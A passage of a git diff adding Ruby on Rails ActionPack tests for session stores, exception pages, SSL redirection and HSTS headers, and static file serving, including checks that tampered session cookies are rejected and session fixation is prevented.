+ as = MemoryStore.new app
+ as.call(env)
+
+ assert @env
+ assert Request::Session.find @env
+ end
+
+ def test_new_session_object_is_merged_with_old
+ env = {}
+ as = MemoryStore.new app
+ as.call(env)
+
+ assert @env
+ session = Request::Session.find @env
+ session['foo'] = 'bar'
+
+ as.call(@env)
+ session1 = Request::Session.find @env
+
+ assert_not_equal session, session1
+ assert_equal session.to_hash, session1.to_hash
+ end
+
+ private
+ def app(&block)
+ @env = nil
+ lambda { |env| @env = env }
+ end
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/session/cache_store_test.rb b/actionpack/test/dispatch/session/cache_store_test.rb
new file mode 100644
index 0000000..b8479e8
--- /dev/null
+++ b/actionpack/test/dispatch/session/cache_store_test.rb
@@ -0,0 +1,180 @@
+require 'abstract_unit'
+require 'fixtures/session_autoload_test/session_autoload_test/foo'
+
+class CacheStoreTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def no_session_access
+ head :ok
+ end
+
+ def set_session_value
+ session[:foo] = "bar"
+ head :ok
+ end
+
+ def set_serialized_session_value
+ session[:foo] = SessionAutoloadTest::Foo.new
+ head :ok
+ end
+
+ def get_session_value
+ render :text => "foo: #{session[:foo].inspect}"
+ end
+
+ def get_session_id
+ render :text => "#{request.session_options[:id]}"
+ end
+
+ def call_reset_session
+ session[:bar]
+ reset_session
+ session[:bar] = "baz"
+ head :ok
+ end
+ end
+
+ def test_setting_and_getting_session_value
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: "bar"', response.body
+ end
+ end
+
+ def test_getting_nil_session_value
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ end
+ end
+
+ def test_getting_session_value_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_cookie = cookies.send(:hash_for)['_session_id']
+
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+
+ cookies << session_cookie # replace our new session_id with our old, pre-reset session_id
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from cache"
+ end
+ end
+
+ def test_getting_from_nonexistent_session
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ assert_nil cookies['_session_id'], "should only create session on write, not read"
+ end
+ end
+
+ def test_setting_session_value_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_id = cookies['_session_id']
+
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+
+ get '/get_session_id'
+ assert_response :success
+ assert_not_equal session_id, response.body
+ end
+ end
+
+ def test_getting_session_id
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_id = cookies['_session_id']
+
+ get '/get_session_id'
+ assert_response :success
+ assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
+ end
+ end
+
+ def test_deserializes_unloaded_class
+ with_test_route_set do
+ with_autoload_path "session_autoload_test" do
+ get '/set_serialized_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ end
+ with_autoload_path "session_autoload_test" do
+ get '/get_session_id'
+ assert_response :success
+ end
+ with_autoload_path "session_autoload_test" do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
+ end
+ end
+ end
+
+ def test_doesnt_write_session_cookie_if_session_id_is_already_exists
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
+ end
+ end
+
+ def test_prevents_session_fixation
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ session_id = cookies['_session_id']
+
+ reset!
+
+ get '/set_session_value', :_session_id => session_id
+ assert_response :success
+ assert_not_equal session_id, cookies['_session_id']
+ end
+ end
+
+ private
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ get ':action', :to => ::CacheStoreTest::TestController
+ end
+
+ @app = self.class.build_app(set) do |middleware|
+ cache = ActiveSupport::Cache::MemoryStore.new
+ middleware.use ActionDispatch::Session::CacheStore, :key => '_session_id', :cache => cache
+ middleware.delete "ActionDispatch::ShowExceptions"
+ end
+
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
new file mode 100644
index 0000000..e99ff46
--- /dev/null
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -0,0 +1,356 @@
+require 'abstract_unit'
+require 'stringio'
+require 'active_support/key_generator'
+
+class CookieStoreTest < ActionDispatch::IntegrationTest
+ SessionKey = '_myapp_session'
+ SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33'
+ Generator = ActiveSupport::LegacyKeyGenerator.new(SessionSecret)
+
+ Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, :digest => 'SHA1')
+ SignedBar = Verifier.generate(:foo => "bar", :session_id => SecureRandom.hex(16))
+
+ class TestController < ActionController::Base
+ def no_session_access
+ head :ok
+ end
+
+ def persistent_session_id
+ render :text => session[:session_id]
+ end
+
+ def set_session_value
+ session[:foo] = "bar"
+ render :text => Rack::Utils.escape(Verifier.generate(session.to_hash))
+ end
+
+ def get_session_value
+ render :text => "foo: #{session[:foo].inspect}"
+ end
+
+ def get_session_id
+ render :text => "id: #{request.session_options[:id]}"
+ end
+
+ def get_class_after_reset_session
+ reset_session
+ render :text => "class: #{session.class}"
+ end
+
+ def call_session_clear
+ session.clear
+ head :ok
+ end
+
+ def call_reset_session
+ reset_session
+ head :ok
+ end
+
+ def raise_data_overflow
+ session[:foo] = 'bye!' * 1024
+ head :ok
+ end
+
+ def change_session_id
+ request.session_options[:id] = nil
+ get_session_id
+ end
+
+ def renew_session_id
+ request.session_options[:renew] = true
+ head :ok
+ end
+ end
+
+ def test_setting_session_value
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+ headers['Set-Cookie']
+ end
+ end
+
+ def test_getting_session_value
+ with_test_route_set do
+ cookies[SessionKey] = SignedBar
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: "bar"', response.body
+ end
+ end
+
+ def test_getting_session_id
+ with_test_route_set do
+ cookies[SessionKey] = SignedBar
+ get '/persistent_session_id'
+ assert_response :success
+ assert_equal response.body.size, 32
+ session_id = response.body
+
+ get '/get_session_id'
+ assert_response :success
+ assert_equal "id: #{session_id}", response.body, "should be able to read session id without accessing the session hash"
+ end
+ end
+
+ def test_disregards_tampered_sessions
+ with_test_route_set do
+ cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ end
+ end
+
+ def test_does_not_set_secure_cookies_over_http
+ with_test_route_set(:secure => true) do
+ get '/set_session_value'
+ assert_response :success
+ assert_equal nil, headers['Set-Cookie']
+ end
+ end
+
+ def test_properly_renew_cookies
+ with_test_route_set do
+ get '/set_session_value'
+ get '/persistent_session_id'
+ session_id = response.body
+ get '/renew_session_id'
+ get '/persistent_session_id'
+ assert_not_equal response.body, session_id
+ end
+ end
+
+ def test_does_set_secure_cookies_over_https
+ with_test_route_set(:secure => true) do
+ get '/set_session_value', nil, 'HTTPS' => 'on'
+ assert_response :success
+ assert_equal "_myapp_session=#{response.body}; path=/; secure; HttpOnly",
+ headers['Set-Cookie']
+ end
+ end
+
+ # {:foo=>#<SessionAutoloadTest::Foo bar:"baz">, :session_id=>"ce8b0752a6ab7c7af3cdb8a80e6b9e46"}
+ SignedSerializedCookie = "BAh7BzoIZm9vbzodU2Vzc2lvbkF1dG9sb2FkVGVzdDo6Rm9vBjoJQGJhciIIYmF6Og9zZXNzaW9uX2lkIiVjZThiMDc1MmE2YWI3YzdhZjNjZGI4YTgwZTZiOWU0Ng==--2bf3af1ae8bd4e52b9ac2099258ace0c380e601c"
+
+ def test_deserializes_unloaded_classes_on_get_id
+ with_test_route_set do
+ with_autoload_path "session_autoload_test" do
+ cookies[SessionKey] = SignedSerializedCookie
+ get '/get_session_id'
+ assert_response :success
+ assert_equal 'id: ce8b0752a6ab7c7af3cdb8a80e6b9e46', response.body, "should auto-load unloaded class"
+ end
+ end
+ end
+
+ def test_deserializes_unloaded_classes_on_get_value
+ with_test_route_set do
+ with_autoload_path "session_autoload_test" do
+ cookies[SessionKey] = SignedSerializedCookie
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
+ end
+ end
+ end
+
+ def test_close_raises_when_data_overflows
+ with_test_route_set do
+ assert_raise(ActionDispatch::Cookies::CookieOverflow) {
+ get '/raise_data_overflow'
+ }
+ end
+ end
+
+ def test_doesnt_write_session_cookie_if_session_is_not_accessed
+ with_test_route_set do
+ get '/no_session_access'
+ assert_response :success
+ assert_equal nil, headers['Set-Cookie']
+ end
+ end
+
+ def test_doesnt_write_session_cookie_if_session_is_unchanged
+ with_test_route_set do
+ cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--" +
+ "fef868465920f415f2c0652d6910d3af288a0367"
+ get '/no_session_access'
+ assert_response :success
+ assert_equal nil, headers['Set-Cookie']
+ end
+ end
+
+ def test_setting_session_value_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ session_payload = response.body
+ assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+ headers['Set-Cookie']
+
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+ assert_not_nil session_payload
+ assert_not_equal session_payload, cookies[SessionKey]
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ end
+ end
+
+ def test_class_type_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+ headers['Set-Cookie']
+
+ get '/get_class_after_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+ assert_equal 'class: ActionDispatch::Request::Session', response.body
+ end
+ end
+
+ def test_getting_from_nonexistent_session
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ assert_nil headers['Set-Cookie'], "should only create session on write, not read"
+ end
+ end
+
+ def test_setting_session_value_after_session_clear
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+ headers['Set-Cookie']
+
+ get '/call_session_clear'
+ assert_response :success
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ end
+ end
+
+ def test_persistent_session_id
+ with_test_route_set do
+ cookies[SessionKey] = SignedBar
+ get '/persistent_session_id'
+ assert_response :success
+ assert_equal response.body.size, 32
+ session_id = response.body
+ get '/persistent_session_id'
+ assert_equal session_id, response.body
+ reset!
+ get '/persistent_session_id'
+ assert_not_equal session_id, response.body
+ end
+ end
+
+ def test_setting_session_id_to_nil_is_respected
+ with_test_route_set do
+ cookies[SessionKey] = SignedBar
+
+ get "/get_session_id"
+ sid = response.body
+ assert_equal sid.size, 36
+
+ get "/change_session_id"
+ assert_not_equal sid, response.body
+ end
+ end
+
+ def test_session_store_with_expire_after
+ with_test_route_set(:expire_after => 5.hours) do
+ # First request accesses the session
+ time = Time.local(2008, 4, 24)
+ Time.stubs(:now).returns(time)
+ expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
+
+ cookies[SessionKey] = SignedBar
+
+ get '/set_session_value'
+ assert_response :success
+
+ cookie_body = response.body
+ assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
+ headers['Set-Cookie']
+
+ # Second request does not access the session
+ time = Time.local(2008, 4, 25)
+ Time.stubs(:now).returns(time)
+ expected_expiry = (time + 5.hours).gmtime.strftime("%a, %d %b %Y %H:%M:%S -0000")
+
+ get '/no_session_access'
+ assert_response :success
+
+ assert_equal "_myapp_session=#{cookie_body}; path=/; expires=#{expected_expiry}; HttpOnly",
+ headers['Set-Cookie']
+ end
+ end
+
+ def test_session_store_with_explicit_domain
+ with_test_route_set(:domain => "example.es") do
+ get '/set_session_value'
+ assert_match(/domain=example\.es/, headers['Set-Cookie'])
+ headers['Set-Cookie']
+ end
+ end
+
+ def test_session_store_without_domain
+ with_test_route_set do
+ get '/set_session_value'
+ assert_no_match(/domain\=/, headers['Set-Cookie'])
+ end
+ end
+
+ def test_session_store_with_nil_domain
+ with_test_route_set(:domain => nil) do
+ get '/set_session_value'
+ assert_no_match(/domain\=/, headers['Set-Cookie'])
+ end
+ end
+
+ def test_session_store_with_all_domains
+ with_test_route_set(:domain => :all) do
+ get '/set_session_value'
+ assert_match(/domain=\.example\.com/, headers['Set-Cookie'])
+ end
+ end
+
+ private
+
+ # Overwrite get to send SessionSecret in env hash
+ def get(path, parameters = nil, env = {})
+ env["action_dispatch.key_generator"] ||= Generator
+ super
+ end
+
+ def with_test_route_set(options = {})
+ with_routing do |set|
+ set.draw do
+ get ':action', :to => ::CookieStoreTest::TestController
+ end
+
+ options = { :key => SessionKey }.merge!(options)
+
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use ActionDispatch::Session::CookieStore, options
+ middleware.delete "ActionDispatch::ShowExceptions"
+ end
+
+ yield
+ end
+ end
+
+end
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
new file mode 100644
index 0000000..e53ce41
--- /dev/null
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -0,0 +1,182 @@
+require 'abstract_unit'
+
+# You need to start a memcached server inorder to run these tests
+class MemCacheStoreTest < ActionDispatch::IntegrationTest
+ class TestController < ActionController::Base
+ def no_session_access
+ head :ok
+ end
+
+ def set_session_value
+ session[:foo] = "bar"
+ head :ok
+ end
+
+ def set_serialized_session_value
+ session[:foo] = SessionAutoloadTest::Foo.new
+ head :ok
+ end
+
+ def get_session_value
+ render :text => "foo: #{session[:foo].inspect}"
+ end
+
+ def get_session_id
+ render :text => "#{request.session_options[:id]}"
+ end
+
+ def call_reset_session
+ session[:bar]
+ reset_session
+ session[:bar] = "baz"
+ head :ok
+ end
+ end
+
+ begin
+ require 'dalli'
+ ss = Dalli::Client.new('localhost:11211').stats
+ raise Dalli::DalliError unless ss['localhost:11211']
+
+ def test_setting_and_getting_session_value
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: "bar"', response.body
+ end
+ end
+
+ def test_getting_nil_session_value
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ end
+ end
+
+ def test_getting_session_value_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_cookie = cookies.send(:hash_for)['_session_id']
+
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+
+ cookies << session_cookie # replace our new session_id with our old, pre-reset session_id
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body, "data for this session should have been obliterated from memcached"
+ end
+ end
+
+ def test_getting_from_nonexistent_session
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ assert_nil cookies['_session_id'], "should only create session on write, not read"
+ end
+ end
+
+ def test_setting_session_value_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_id = cookies['_session_id']
+
+ get '/call_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+
+ get '/get_session_id'
+ assert_response :success
+ assert_not_equal session_id, response.body
+ end
+ end
+
+ def test_getting_session_id
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ session_id = cookies['_session_id']
+
+ get '/get_session_id'
+ assert_response :success
+ assert_equal session_id, response.body, "should be able to read session id without accessing the session hash"
+ end
+ end
+
+ def test_deserializes_unloaded_class
+ with_test_route_set do
+ with_autoload_path "session_autoload_test" do
+ get '/set_serialized_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+ end
+ with_autoload_path "session_autoload_test" do
+ get '/get_session_id'
+ assert_response :success
+ end
+ end
+ end
+
+ def test_doesnt_write_session_cookie_if_session_id_is_already_exists
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert cookies['_session_id']
+
+ get '/get_session_value'
+ assert_response :success
+ assert_equal nil, headers['Set-Cookie'], "should not resend the cookie again if session_id cookie is already exists"
+ end
+ end
+
+ def test_prevents_session_fixation
+ with_test_route_set do
+ get '/get_session_value'
+ assert_response :success
+ assert_equal 'foo: nil', response.body
+ session_id = cookies['_session_id']
+
+ reset!
+
+ get '/set_session_value', :_session_id => session_id
+ assert_response :success
+ assert_not_equal session_id, cookies['_session_id']
+ end
+ end
+ rescue LoadError, RuntimeError, Dalli::DalliError
+ $stderr.puts "Skipping MemCacheStoreTest tests. Start memcached and try again."
+ end
+
+ private
+ def with_test_route_set
+ with_routing do |set|
+ set.draw do
+ get ':action', :to => ::MemCacheStoreTest::TestController
+ end
+
+ @app = self.class.build_app(set) do |middleware|
+ middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id'
+ middleware.delete "ActionDispatch::ShowExceptions"
+ end
+
+ yield
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/session/test_session_test.rb b/actionpack/test/dispatch/session/test_session_test.rb
new file mode 100644
index 0000000..d30461a
--- /dev/null
+++ b/actionpack/test/dispatch/session/test_session_test.rb
@@ -0,0 +1,43 @@
+require 'abstract_unit'
+require 'stringio'
+
+class ActionController::TestSessionTest < ActiveSupport::TestCase
+ def test_initialize_with_values
+ session = ActionController::TestSession.new(one: 'one', two: 'two')
+ assert_equal('one', session[:one])
+ assert_equal('two', session[:two])
+ end
+
+ def test_setting_session_item_sets_item
+ session = ActionController::TestSession.new
+ session[:key] = 'value'
+ assert_equal('value', session[:key])
+ end
+
+ def test_calling_delete_removes_item_and_returns_its_value
+ session = ActionController::TestSession.new
+ session[:key] = 'value'
+ assert_equal('value', session[:key])
+ assert_equal('value', session.delete(:key))
+ assert_nil(session[:key])
+ end
+
+ def test_calling_update_with_params_passes_to_attributes
+ session = ActionController::TestSession.new
+ session.update('key' => 'value')
+ assert_equal('value', session[:key])
+ end
+
+ def test_clear_empties_session
+ session = ActionController::TestSession.new(one: 'one', two: 'two')
+ session.clear
+ assert_nil(session[:one])
+ assert_nil(session[:two])
+ end
+
+ def test_keys_and_values
+ session = ActionController::TestSession.new(one: '1', two: '2')
+ assert_equal %w(one two), session.keys
+ assert_equal %w(1 2), session.values
+ end
+end
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
new file mode 100644
index 0000000..98bbcd9
--- /dev/null
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -0,0 +1,108 @@
+require 'abstract_unit'
+
+class ShowExceptionsTest < ActionDispatch::IntegrationTest
+
+ class Boomer
+ def call(env)
+ req = ActionDispatch::Request.new(env)
+ case req.path
+ when "/not_found"
+ raise AbstractController::ActionNotFound
+ when "/method_not_allowed"
+ raise ActionController::MethodNotAllowed
+ when "/unknown_http_method"
+ raise ActionController::UnknownHttpMethod
+ when "/not_found_original_exception"
+ raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
+ else
+ raise "puke!"
+ end
+ end
+ end
+
+ ProductionApp = ActionDispatch::ShowExceptions.new(Boomer.new, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public"))
+
+ test "skip exceptions app if not showing exceptions" do
+ @app = ProductionApp
+ assert_raise RuntimeError do
+ get "/", {}, {'action_dispatch.show_exceptions' => false}
+ end
+ end
+
+ test "rescue with error page" do
+ @app = ProductionApp
+
+ get "/", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 500
+ assert_equal "500 error fixture\n", body
+
+ get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 404
+ assert_equal "404 error fixture\n", body
+
+ get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_equal "", body
+
+ get "/unknown_http_method", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_equal "", body
+ end
+
+ test "localize rescue error page" do
+ old_locale, I18n.locale = I18n.locale, :da
+
+ begin
+ @app = ProductionApp
+
+ get "/", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 500
+ assert_equal "500 localized error fixture\n", body
+
+ get "/not_found", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 404
+ assert_equal "404 error fixture\n", body
+ ensure
+ I18n.locale = old_locale
+ end
+ end
+
+ test "sets the HTTP charset parameter" do
+ @app = ProductionApp
+
+ get "/", {}, {'action_dispatch.show_exceptions' => true}
+ assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+ end
+
+ test "show registered original exception for wrapped exceptions" do
+ @app = ProductionApp
+
+ get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 404
+ assert_match(/404 error/, body)
+ end
+
+ test "calls custom exceptions app" do
+ exceptions_app = lambda do |env|
+ assert_kind_of AbstractController::ActionNotFound, env["action_dispatch.exception"]
+ assert_equal "/404", env["PATH_INFO"]
+ [404, { "Content-Type" => "text/plain" }, ["YOU FAILED BRO"]]
+ end
+
+ @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
+ get "/not_found_original_exception", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 404
+ assert_equal "YOU FAILED BRO", body
+ end
+
+ test "returns an empty response if custom exceptions app returns X-Cascade pass" do
+ exceptions_app = lambda do |env|
+ [404, { "X-Cascade" => "pass" }, []]
+ end
+
+ @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
+ get "/method_not_allowed", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 405
+ assert_equal "", body
+ end
+end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
new file mode 100644
index 0000000..a9bea7e
--- /dev/null
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -0,0 +1,164 @@
+require 'abstract_unit'
+
+class SSLTest < ActionDispatch::IntegrationTest
+ def default_app
+ lambda { |env|
+ headers = {'Content-Type' => "text/html"}
+ headers['Set-Cookie'] = "id=1; path=/\ntoken=abc; path=/; secure; HttpOnly"
+ [200, headers, ["OK"]]
+ }
+ end
+
+ def app
+ @app ||= ActionDispatch::SSL.new(default_app)
+ end
+ attr_writer :app
+
+ def test_allows_https_url
+ get "https://example.org/path?key=value"
+ assert_response :success
+ end
+
+ def test_allows_https_proxy_header_url
+ get "http://example.org/", {}, 'HTTP_X_FORWARDED_PROTO' => "https"
+ assert_response :success
+ end
+
+ def test_redirects_http_to_https
+ get "http://example.org/path?key=value"
+ assert_response :redirect
+ assert_equal "https://example.org/path?key=value",
+ response.headers['Location']
+ end
+
+ def test_hsts_header_by_default
+ get "https://example.org/"
+ assert_equal "max-age=31536000",
+ response.headers['Strict-Transport-Security']
+ end
+
+ def test_hsts_header
+ self.app = ActionDispatch::SSL.new(default_app, :hsts => true)
+ get "https://example.org/"
+ assert_equal "max-age=31536000",
+ response.headers['Strict-Transport-Security']
+ end
+
+ def test_disable_hsts_header
+ self.app = ActionDispatch::SSL.new(default_app, :hsts => false)
+ get "https://example.org/"
+ assert_not response.headers['Strict-Transport-Security']
+ end
+
+ def test_hsts_expires
+ self.app = ActionDispatch::SSL.new(default_app, :hsts => { :expires => 500 })
+ get "https://example.org/"
+ assert_equal "max-age=500",
+ response.headers['Strict-Transport-Security']
+ end
+
+ def test_hsts_expires_with_duration
+ self.app = ActionDispatch::SSL.new(default_app, :hsts => { :expires => 1.year })
+ get "https://example.org/"
+ assert_equal "max-age=31557600",
+ response.headers['Strict-Transport-Security']
+ end
+
+ def test_hsts_include_subdomains
+ self.app = ActionDispatch::SSL.new(default_app, :hsts => { :subdomains => true })
+ get "https://example.org/"
+ assert_equal "max-age=31536000; includeSubDomains",
+ response.headers['Strict-Transport-Security']
+ end
+
+ def test_flag_cookies_as_secure
+ get "https://example.org/"
+ assert_equal ["id=1; path=/; secure", "token=abc; path=/; secure; HttpOnly" ],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
+ def test_flag_cookies_as_secure_at_end_of_line
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/; HttpOnly; secure"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/; HttpOnly; secure"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
+ def test_flag_cookies_as_secure_with_more_spaces_before
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/; HttpOnly; secure"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/; HttpOnly; secure"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
+ def test_flag_cookies_as_secure_with_more_spaces_after
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/; secure; HttpOnly"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/; secure; HttpOnly"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
+ def test_no_cookies
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ [200, {'Content-Type' => "text/html"}, ["OK"]]
+ })
+ get "https://example.org/"
+ assert !response.headers['Set-Cookie']
+ end
+
+ def test_redirect_to_host
+ self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
+ get "http://example.org/path?key=value"
+ assert_equal "https://ssl.example.org/path?key=value",
+ response.headers['Location']
+ end
+
+ def test_redirect_to_port
+ self.app = ActionDispatch::SSL.new(default_app, :port => 8443)
+ get "http://example.org/path?key=value"
+ assert_equal "https://example.org:8443/path?key=value",
+ response.headers['Location']
+ end
+
+ def test_redirect_to_host_and_port
+ self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org", :port => 8443)
+ get "http://example.org/path?key=value"
+ assert_equal "https://ssl.example.org:8443/path?key=value",
+ response.headers['Location']
+ end
+
+ def test_redirect_to_secure_host_when_on_subdomain
+ self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
+ get "http://ssl.example.org/path?key=value"
+ assert_equal "https://ssl.example.org/path?key=value",
+ response.headers['Location']
+ end
+
+ def test_redirect_to_secure_subdomain_when_on_deep_subdomain
+ self.app = ActionDispatch::SSL.new(default_app, :host => "example.co.uk")
+ get "http://double.rainbow.what.does.it.mean.example.co.uk/path?key=value"
+ assert_equal "https://example.co.uk/path?key=value",
+ response.headers['Location']
+ end
+end
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
new file mode 100644
index 0000000..112f470
--- /dev/null
+++ b/actionpack/test/dispatch/static_test.rb
@@ -0,0 +1,155 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'rbconfig'
+
+module StaticTests
+ def test_serves_dynamic_content
+ assert_equal "Hello, World!", get("/nofile").body
+ end
+
+ def test_handles_urls_with_bad_encoding
+ assert_equal "Hello, World!", get("/doorkeeper%E3E4").body
+ end
+
+ def test_sets_cache_control
+ response = get("/index.html")
+ assert_html "/index.html", response
+ assert_equal "public, max-age=60", response.headers["Cache-Control"]
+ end
+
+ def test_serves_static_index_at_root
+ assert_html "/index.html", get("/index.html")
+ assert_html "/index.html", get("/index")
+ assert_html "/index.html", get("/")
+ assert_html "/index.html", get("")
+ end
+
+ def test_serves_static_file_in_directory
+ assert_html "/foo/bar.html", get("/foo/bar.html")
+ assert_html "/foo/bar.html", get("/foo/bar/")
+ assert_html "/foo/bar.html", get("/foo/bar")
+ end
+
+ def test_serves_static_index_file_in_directory
+ assert_html "/foo/index.html", get("/foo/index.html")
+ assert_html "/foo/index.html", get("/foo/")
+ assert_html "/foo/index.html", get("/foo")
+ end
+
+ def test_served_static_file_with_non_english_filename
+ assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("こんにちは.html")}")
+ end
+
+
+ def test_serves_static_file_with_exclamation_mark_in_filename
+ with_static_file "/foo/foo!bar.html" do |file|
+ assert_html file, get("/foo/foo%21bar.html")
+ assert_html file, get("/foo/foo!bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_dollar_sign_in_filename
+ with_static_file "/foo/foo$bar.html" do |file|
+ assert_html file, get("/foo/foo%24bar.html")
+ assert_html file, get("/foo/foo$bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_ampersand_in_filename
